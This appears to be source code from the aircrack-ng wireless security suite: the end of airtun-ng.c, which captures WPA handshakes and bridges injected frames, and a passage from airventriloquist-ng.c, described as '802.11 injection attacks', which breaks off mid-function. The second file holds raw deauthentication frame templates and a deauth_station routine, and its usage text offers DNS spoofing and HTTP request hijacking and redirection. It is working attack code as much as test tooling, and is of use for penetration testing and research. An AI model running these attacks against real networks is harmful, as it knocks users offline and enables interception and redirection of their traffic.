&& (packet[z + 6] & 0x80) == 0 && (packet[z + 5] & 0x01) != 0)
{
if (memcmp(&packet[z + 17], ZERO, 32) != 0)
{
/* set supplicant nonce */
memcpy(st_cur->snonce, &packet[z + 17], 32);
}
/* copy the MIC & eapol frame */
st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
if (length - z < st_cur->eapol_size
|| st_cur->eapol_size > sizeof(st_cur->eapol))
{
// Ignore the packet trying to crash us.
st_cur->eapol_size = 0;
return (1);
}
memcpy(st_cur->keymic, &packet[z + 81], 16); //-V512
memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
memset(st_cur->eapol + 81, 0, 16);
/* copy the key descriptor version */
st_cur->keyver = packet[z + 6] & 7;
}
/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
&& (packet[z + 6] & 0x80) != 0 && (packet[z + 5] & 0x01) != 0)
{
if (memcmp(&packet[z + 17], ZERO, 32) != 0)
{
/* set authenticator nonce */
memcpy(st_cur->anonce, &packet[z + 17], 32);
}
/* copy the MIC & eapol frame */
st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
if (length - z < st_cur->eapol_size
|| st_cur->eapol_size > sizeof(st_cur->eapol))
{
// Ignore the packet trying to crash us.
st_cur->eapol_size = 0;
return (1); // continue;
}
memcpy(st_cur->keymic, &packet[z + 81], 16); //-V512
memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
memset(st_cur->eapol + 81, 0, 16);
/* copy the key descriptor version */
st_cur->keyver = packet[z + 6] & 7;
}
st_cur->valid_ptk = calc_ptk(st_cur, lopt.pmk);
if (st_cur->valid_ptk)
{
printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X\n",
st_cur->stmac[0],
st_cur->stmac[1],
st_cur->stmac[2],
st_cur->stmac[3],
st_cur->stmac[4],
st_cur->stmac[5]);
}
}
switch (packet[1] & 3)
{
case 1:
memcpy(h80211, packet + 16, 6); //-V525
memcpy(h80211 + 6, packet + 10, 6); // SRC_MAC
break;
case 2:
memcpy(h80211, packet + 4, 6); // DST_MAC
memcpy(h80211 + 6, packet + 16, 6); // SRC_MAC
break;
case 3:
memcpy(h80211, packet + 16, 6); // DST_MAC
memcpy(h80211 + 6, packet + 24, 6); // SRC_MAC
break;
default:
break;
}
/* Keep track of known MACs, so we only have to tunnel into one side of
* the WDS network */
if (((packet[1] & 3) == 3) && lopt.bidir)
{
if (!memcmp(packet + 10, opt.r_bssid, 6))
{
set_entry(packet + 24, 0);
}
if (!memcmp(packet + 10, opt.r_trans, 6))
{
set_entry(packet + 24, 1);
}
}
if (memcmp(dmac, SPANTREE, 6) == 0)
{
if (length <= z + 8) return (1);
memcpy(h80211 + 14, packet + z, length - z);
length = length - z + 14;
h80211[12] = ((length - 14) >> 8) & 0xFF;
h80211[13] = (length - 14) & 0xFF;
}
else
{
memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
if (length <= z + 8) return (1);
memcpy(h80211 + 14, packet + z + 8, length - z - 8);
length = length - z - 8 + 14;
}
ti_write(dev.dv_ti, h80211, length);
}
else
{
return (1);
}
return (0);
}
int main(int argc, char * argv[])
{
int ret_val, i, n, ret;
unsigned int un;
struct pcap_pkthdr pkh;
fd_set read_fds;
unsigned char buffer[4096];
unsigned char bssid[6];
char *s, buf[128];
size_t caplen, len;
ac_crypto_init();
/* check the arguments */
memset(&opt, 0, sizeof(opt));
memset(&dev, 0, sizeof(dev));
rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
ALLEGE(rFragment != NULL);
memset(rFragment, 0, sizeof(struct Fragment_list));
opt.r_nbpps = 100;
lopt.tods = 0;
rand_init();
while (1)
{
int option_index = 0;
static const struct option long_options[] = {{"netmask", 1, 0, 'm'},
{"bssid", 1, 0, 'd'},
{"repeat", 0, 0, 'f'},
{"help", 0, 0, 'H'},
{0, 0, 0, 0}};
const int option = getopt_long(argc,
argv,
"x:a:h:i:r:y:t:s:bw:p:e:m:d:fH",
long_options,
&option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
case 'x':
ret = sscanf(optarg, "%d", &opt.r_nbpps);
if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
{
printf("Invalid number of packets per second. [1-1024]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'a':
if (getmac(optarg, 1, opt.r_bssid) != 0)
{
printf("Invalid AP MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'h':
if (getmac(optarg, 1, opt.r_smac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'y':
if (opt.prga != NULL)
{
printf("PRGA file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (opt.crypt != CRYPT_NONE)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (read_prga(&(opt.prga), optarg) != 0)
{
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'i':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.s_face = optarg;
break;
case 't':
if (atoi(optarg) == 1)
lopt.tods = 1;
else if (atoi(optarg) == 2)
lopt.tods = 2;
else
lopt.tods = 0;
break;
case 's':
if (getmac(optarg, 1, opt.r_trans) != 0)
{
printf("Invalid Transmitter MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'b':
lopt.bidir = 1;
break;
case 'w':
if (opt.prga != NULL)
{
printf("PRGA file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (opt.crypt != CRYPT_NONE)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WEP;
i = 0;
s = optarg;
buf[0] = s[0];
buf[1] = s[1];
buf[2] = '\0';
while (sscanf(buf, "%x", &un) == 1)
{
if (un > 255)
{
printf("Invalid WEP key.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.wepkey[i++] = (uint8_t) un;
if (i >= 64) break;
s += 2;
if (s[0] == ':' || s[0] == '-') s++;
if (s[0] == '\0' || s[1] == '\0') break;
buf[0] = s[0];
buf[1] = s[1];
}
if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
{
printf("Invalid WEP key length.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.weplen = i;
break;
case 'e':
if (lopt.essid[0])
{
printf("ESSID already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WPA;
memset(lopt.essid, 0, sizeof(lopt.essid));
strncpy(lopt.essid, optarg, sizeof(lopt.essid) - 1);
break;
case 'p':
if (opt.prga != NULL)
{
printf("PRGA file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (opt.crypt != CRYPT_NONE && opt.crypt != CRYPT_WPA)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WPA;
memset(lopt.passphrase, 0, sizeof(lopt.passphrase));
strncpy(lopt.passphrase, optarg, sizeof(lopt.passphrase) - 1);
break;
case 'm':
if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
{
printf("Notice: netmask already given\n");
printf("\"%s --help\" for help.\n", argv[0]);
break;
}
if (getmac(optarg, 1, opt.f_netmask) != 0)
{
printf("Notice: invalid netmask\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'd':
if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
{
printf("Notice: bssid already given\n");
printf("\"%s --help\" for help.\n", argv[0]);
break;
}
if (getmac(optarg, 1, opt.f_bssid) != 0)
{
printf("Notice: invalid bssid\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'f':
lopt.repeat = 1;
break;
case 'r':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.s_file = optarg;
break;
case 'H':
printf(usage,
getVersion("Airtun-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
return (EXIT_FAILURE);
default:
goto usage;
}
}
if (argc - optind != 1)
{
if (argc == 1)
{
usage:
printf(
usage,
getVersion(
"Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
}
if (argc - optind == 0)
{
printf("No replay interface specified.\n");
}
if (argc > 1)
{
printf("\"%s --help\" for help.\n", argv[0]);
}
return (EXIT_FAILURE);
}
if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
{
printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
{
printf("Please specify a BSSID (-a).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if ((memcmp(opt.r_trans, NULL_MAC, 6) == 0) && lopt.tods == 2)
{
printf("Please specify a Transmitter (-s).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (opt.crypt == CRYPT_WPA)
{
if (lopt.passphrase[0] != '\0')
{
/* compute the Pairwise Master Key */
if (lopt.essid[0] == '\0')
{
printf("You must also specify the ESSID (-e).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
calc_pmk(
(uint8_t *) lopt.passphrase, (uint8_t *) lopt.essid, lopt.pmk);
}
}
dev.fd_rtc = -1;
/* open the RTC device if necessary */
#if defined(__i386__)
#if defined(linux)
if (1)
{
if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
{
dev.fd_rtc = 0;
}
if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
{
dev.fd_rtc = 0;
}
if (dev.fd_rtc > 0)
{
if (ioctl(dev.fd_rtc, RTC_IRQP_SET, 1024) < 0)
{
perror("ioctl(RTC_IRQP_SET) failed");
printf("Make sure enhanced rtc device support is enabled in "
"the kernel (module\n"
"rtc, not genrtc) - also try 'echo 1024 "
">/proc/sys/dev/rtc/max-user-freq'.\n");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
else
{
if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
{
perror("ioctl(RTC_PIE_ON) failed");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
}
}
else
{
printf("For information, no action required:"
" Using gettimeofday() instead of /dev/rtc\n");
dev.fd_rtc = -1;
}
}
#endif /* linux */
#endif /* __i386__ */
/* open the replay interface */
_wi_out = wi_open(argv[optind]);
if (!_wi_out) return (EXIT_FAILURE);
dev.fd_out = wi_fd(_wi_out);
/* open the packet source */
if (opt.s_face != NULL)
{
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return (EXIT_FAILURE);
dev.fd_in = wi_fd(_wi_in);
}
else
{
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
}
/* drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
/* XXX */
if (opt.r_nbpps == 0)
{
if (dev.is_wlanng || dev.is_hostap)
opt.r_nbpps = 200;
else
opt.r_nbpps = 500;
}
if (opt.s_file != NULL)
{
if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
{
perror("open failed");
return (EXIT_FAILURE);
}
n = sizeof(struct pcap_file_header);
if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
return (EXIT_FAILURE);
}
if (dev.pfh_in.magic != TCPDUMP_MAGIC
&& dev.pfh_in.magic != TCPDUMP_CIGAM)
{
fprintf(stderr,
"\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
opt.s_file);
return (EXIT_FAILURE);
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
{
fprintf(stderr,
"Wrong linktype from pcap file header "
"(expected LINKTYPE_IEEE802_11) -\n"
"this doesn't look like a regular 802.11 "
"capture.\n");
return (EXIT_FAILURE);
}
}
dev.dv_ti = ti_open(NULL);
if (!dev.dv_ti)
{
printf("error opening tap device: %s\n", strerror(errno));
return (EXIT_FAILURE);
}
printf("created tap interface %s\n", ti_name(dev.dv_ti));
if (opt.prgalen <= 0 && opt.crypt == CRYPT_NONE)
{
printf("No encryption specified. Sending and receiving frames through "
"%s.\n",
argv[optind]);
}
else if (opt.crypt == CRYPT_WPA)
{
printf("WPA encryption specified. Sending and receiving frames through "
"%s.\n",
argv[optind]);
}
else if (opt.crypt == CRYPT_WEP)
{
printf("WEP encryption specified. Sending and receiving frames through "
"%s.\n",
argv[optind]);
}
else
{
printf("WEP encryption by PRGA specified. No reception, only sending "
"frames through %s.\n",
argv[optind]);
}
if (lopt.tods == 1)
{
printf("ToDS bit set in all frames.\n");
}
else if (lopt.tods == 2)
{
printf("ToDS and FromDS bit set in all frames (WDS/Bridge) - ");
if (lopt.bidir)
{
printf("bidirectional mode\n");
}
else
{
printf("unidirectional mode\n");
}
}
else
{
printf("FromDS bit set in all frames.\n");
}
for (;;)
{
if (opt.s_file != NULL)
{
n = sizeof(pkh);
if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
{
printf("Finished reading input file %s.\n", opt.s_file);
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
n = caplen = pkh.caplen;
if (n <= 0 || n > (int) sizeof(h80211))
{
printf("Finished reading input file %s.\n", opt.s_file);
opt.s_file = NULL;
continue;
}
if (fread(h80211, n, 1, dev.f_cap_in) != 1)
{
printf("Finished reading input file %s.\n", opt.s_file);
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
{
if (h80211[7] == 0x40)
n = 64;
else
n = *(int *) (h80211 + 4); //-V1032
if (n < 8 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = *(unsigned short *) (h80211 + 2); //-V1032
if (n <= 0 || n >= (int) caplen) continue; //-V560
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
{
/* remove the PPI header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2)); //-V1032
if (n <= 0 || n >= (int) caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24
&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) //-V1032
== 2)
n = 32;
if (n <= 0 || n >= (int) caplen) continue; //-V560
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (lopt.repeat)
{
if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
{
switch (h80211[1] & 3)
{
case 0:
memcpy(bssid, h80211 + 16, 6);
break;
case 1:
memcpy(bssid, h80211 + 4, 6);
break;
case 2:
memcpy(bssid, h80211 + 10, 6);
break;
default:
memcpy(bssid, h80211 + 10, 6);
break;
}
if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
{
if (is_filtered_netmask(bssid)) continue;
}
else
{
if (memcmp(opt.f_bssid, bssid, 6) != 0) continue;
}
}
send_packet(_wi_out, h80211, (size_t) caplen, kNoChange);
}
packet_recv(h80211, caplen);
msleep(1000 / opt.r_nbpps);
continue;
}
FD_ZERO(&read_fds);
FD_SET(dev.fd_in, &read_fds);
FD_SET(ti_fd(dev.dv_ti), &read_fds);
ret_val = select(
MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL);
if (ret_val < 0) break;
if (ret_val > 0)
{
if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
{
len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
if (len > 0)
{
packet_xmit(buffer, len);
}
}
if (FD_ISSET(dev.fd_in, &read_fds))
{
len = read_packet(_wi_in, buffer, sizeof(buffer), NULL);
if (len > 0)
{
packet_recv(buffer, len);
}
}
} // if( ret_val > 0 )
} // for( ; ; )
ti_close(dev.dv_ti);
/* that's all, folks */
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/airventriloquist-ng/airventriloquist-ng.c | /*
* 802.11 injection attacks
*
* Copyright (C) 2015 Tim de Waal
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <fcntl.h>
#include <limits.h>
#include <fnmatch.h>
#include <stdbool.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "airventriloquist-ng.h"
#define RTC_RESOLUTION 8192
#define REQUESTS 30
#define MAX_APS 20
#define NEW_IV 1
#define RETRY 2
#define ABORT 3
#define DEAUTH_REQ \
"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
#define AUTH_REQ \
"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
#define ASSOC_REQ \
"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
#define REASSOC_REQ \
"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
#define NULL_DATA \
"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
#define PROBE_REQ \
"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
static char * progname = NULL;
static const char usage[]
= "\n"
" %s - (C) 2015 Tim de Waal\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: airventriloquist-ng [options]\n"
"\n"
" -i <replay interface> : Interface to listen and inject on\n"
" -d | --deauth : Send active deauths to encrypted "
"stations\n"
" -e | --essid <value> : ESSID of target network \n"
" -p | --passphrase <val> : WPA Passphrase of target network\n"
" -c | --icmp : Respond to all ICMP frames (Debug)\n"
" -n | --dns : IP to resolve all DNS queries to\n"
" -s | --hijack <URL> : URL to look for in HTTP requests\n"
" <URL> can have wildcards\n"
" eg: *jquery*.js*\n"
" -r | --redirect <URL> : URL to redirect to\n"
" -v | --verbose : Verbose output\n"
" --help : This super helpful message\n"
"\n"
"\n";
struct communication_options opt;
static struct local_options
{
char flag_icmp_resp;
char flag_http_hijack;
char flag_dnsspoof;
char deauth;
char flag_verbose;
char * p_redir_url;
char * p_redir_pkt_str;
char * p_hijack_str;
unsigned long p_dnsspoof_ip;
// Copied from airdecap
int decap_no_convert;
char essid[36];
char passphrase[65];
uint8_t decap_bssid[6];
uint8_t pmk[40];
uint8_t decap_wepkey[64];
int decap_weplen, crypt;
int decap_store_bad;
struct WPA_ST_info * st_1st;
struct WPA_ST_info * st_cur;
struct WPA_ST_info * st_prv;
} lopt;
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
struct ARP_req
{
uint8_t * buf;
int hdrlen;
int len;
};
struct APt
{
uint8_t set;
uint8_t found;
uint8_t len;
uint8_t essid[255];
uint8_t bssid[6];
uint8_t chan;
unsigned int ping[REQUESTS];
int pwr[REQUESTS];
};
unsigned long nb_pkt_sent;
extern uint8_t h80211[4096];
extern uint8_t tmpbuf[4096];
static int tcp_test(const char * ip_str, const short port)
{
int sock, i;
struct sockaddr_in s_in;
int packetsize = 1024;
uint8_t packet[packetsize];
struct timeval tv, tv2 = {0}, tv3;
int caplen = 0;
int times[REQUESTS] = {0};
int min, avg, max, len;
struct net_hdr nh;
tv3.tv_sec = 0;
tv3.tv_usec = 1;
memset(&s_in, 0, sizeof(struct sockaddr_in));
s_in.sin_family = PF_INET;
s_in.sin_port = htons(port);
if (!inet_aton(ip_str, &s_in.sin_addr)) return (-1);
if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
return (-1);
/* avoid blocking on reading the socket */
if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
close(sock);
return (1);
}
gettimeofday(&tv, NULL);
while (1) // waiting for relayed packet
{
if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
{
if (errno != EINPROGRESS && errno != EALREADY)
{
perror("connect");
close(sock);
printf("Failed to connect\n");
return (-1);
}
}
else
{
gettimeofday(&tv2, NULL);
break;
}
gettimeofday(&tv2, NULL);
// wait 3000ms for a successful connect
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (3000 * 1000))
{
printf("Connection timed out\n");
close(sock);
return (-1);
}
usleep(10);
}
PCT;
printf("TCP connection successful\n");
// trying to identify airserv-ng
memset(&nh, 0, sizeof(nh));
// command: GET_CHAN
nh.nh_type = 2;
nh.nh_len = htonl(0);
if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
{
perror("send");
close(sock);
return (-1);
}
gettimeofday(&tv, NULL);
i = 0;
while (1) // waiting for GET_CHAN answer
{
caplen = read(sock, &nh, sizeof(nh));
if (caplen == -1)
{
if (errno != EAGAIN)
{
perror("read");
close(sock);
return (-1);
}
}
if ((unsigned) caplen == sizeof(nh))
{
len = ntohl(nh.nh_len);
if (nh.nh_type == 1 && i == 0)
{
i = 1;
caplen = read(sock, packet, len);
if (caplen == len)
{
i = 2;
break;
}
else
{
i = 0;
}
}
else
{
caplen = read(sock, packet, len);
}
}
gettimeofday(&tv2, NULL);
// wait 1000ms(1sec) for an answer
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (1000 * 1000))
{
break;
}
if (caplen == -1) usleep(10);
}
if (i == 2)
{
PCT;
printf("airserv-ng found\n");
}
else
{
PCT;
printf("airserv-ng NOT found\n");
}
close(sock);
for (i = 0; i < REQUESTS; i++)
{
if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
return (-1);
/* avoid blocking on reading the socket */
if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
close(sock);
return (1);
}
usleep(1000);
gettimeofday(&tv, NULL);
while (1) // waiting for relayed packet
{
if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
{
if (errno != EINPROGRESS && errno != EALREADY)
{
perror("connect");
close(sock);
printf("Failed to connect\n");
return (-1);
}
}
else
{
gettimeofday(&tv2, NULL);
break;
}
gettimeofday(&tv2, NULL);
// wait 1000ms for a successful connect
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (1000 * 1000))
{
break;
}
// simple "high-precision" usleep
select(1, NULL, NULL, NULL, &tv3);
}
times[i] = ((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec));
printf("\r%d/%d\r", i, REQUESTS);
fflush(stdout);
close(sock);
}
min = INT_MAX;
avg = 0;
max = 0;
for (i = 0; i < REQUESTS; i++)
{
if (times[i] < min) min = times[i];
if (times[i] > max) max = times[i];
avg += times[i];
}
avg /= REQUESTS;
PCT;
printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
ip_str,
port,
min / 1000.0,
avg / 1000.0,
max / 1000.0);
return (0);
}
// TODO: this function is hacked together, It should be cleaned up
// Need to use wfrm (ieee80211_frame struct instead of just a buffer)
static int deauth_station(struct WPA_ST_info * st_cur)
{
REQUIRE(st_cur != NULL);
if (memcmp(st_cur->stmac, NULL_MAC, 6) != 0)
{
/* deauthenticate the target */
memcpy(h80211, DEAUTH_REQ, 26);
memcpy(h80211 + 16, st_cur->bssid, 6);
int i;
for (i = 0; i < 5; i++)
{
PCT;
printf("Sending 5 directed DeAuth. STMAC:"
" [%02X:%02X:%02X:%02X:%02X:%02X] \r",
st_cur->stmac[0],
st_cur->stmac[1],
st_cur->stmac[2],
st_cur->stmac[3],
st_cur->stmac[4],
st_cur->stmac[5]);
memcpy(h80211 + 4, st_cur->stmac, 6);
memcpy(h80211 + 10, st_cur->bssid, 6);
if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber) < 0)
return (1);
// Send deauth to the AP...
memcpy(h80211 + 4, st_cur->bssid, 6);
memcpy(h80211 + 10, st_cur->stmac, 6);
if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber) < 0)
return (1);
// Usually this is where we would wait for an ACK, but we need to
// get back
// to capturing packets to get the EAPOL 4 way handshake
}
return (0);
}
return (0);
}
// Shameless copy from tshark/wireshark?
static void hexDump(char * desc, void * addr, int len)
{
int i;
uint8_t buff[17];
uint8_t * pc = (uint8_t *) addr;
// Output description if given.
if (desc != NULL) printf("%s:\n", desc);
// Process every byte in the data.
for (i = 0; i < len; i++)
{
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0)
{
// Just don't print ASCII for the zeroth line.
if (i != 0) printf(" %s\n", buff);
// Output the offset in Hex.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0)
{
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}
/* calcsum - used to calculate IP and ICMP header checksums using
* one's compliment of the one's compliment sum of 16 bit words of the header
*/
static uint16_t calcsum(char * buffer, size_t length)
{
uint32_t sum = 0;
for (size_t i = 0; i < length - 1; i += 2)
sum += (buffer[i] << 8) + buffer[i + 1];
if (length % 2) sum += buffer[length - 1];
while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16);
return ((uint16_t) (~sum));
}
static uint16_t calcsum_for_protocol(uint16_t protocol,
char * buf,
size_t length,
uint32_t src_addr,
uint32_t dest_addr)
{
uint32_t chksum = 0;
uint16_t * ip_src = (uint16_t *) &src_addr;
uint16_t * ip_dst = (uint16_t *) &dest_addr;
// Calculate the chksum
for (size_t i = 0; i < length - 1; i += 2)
chksum += (buf[i] << 8) + buf[i + 1];
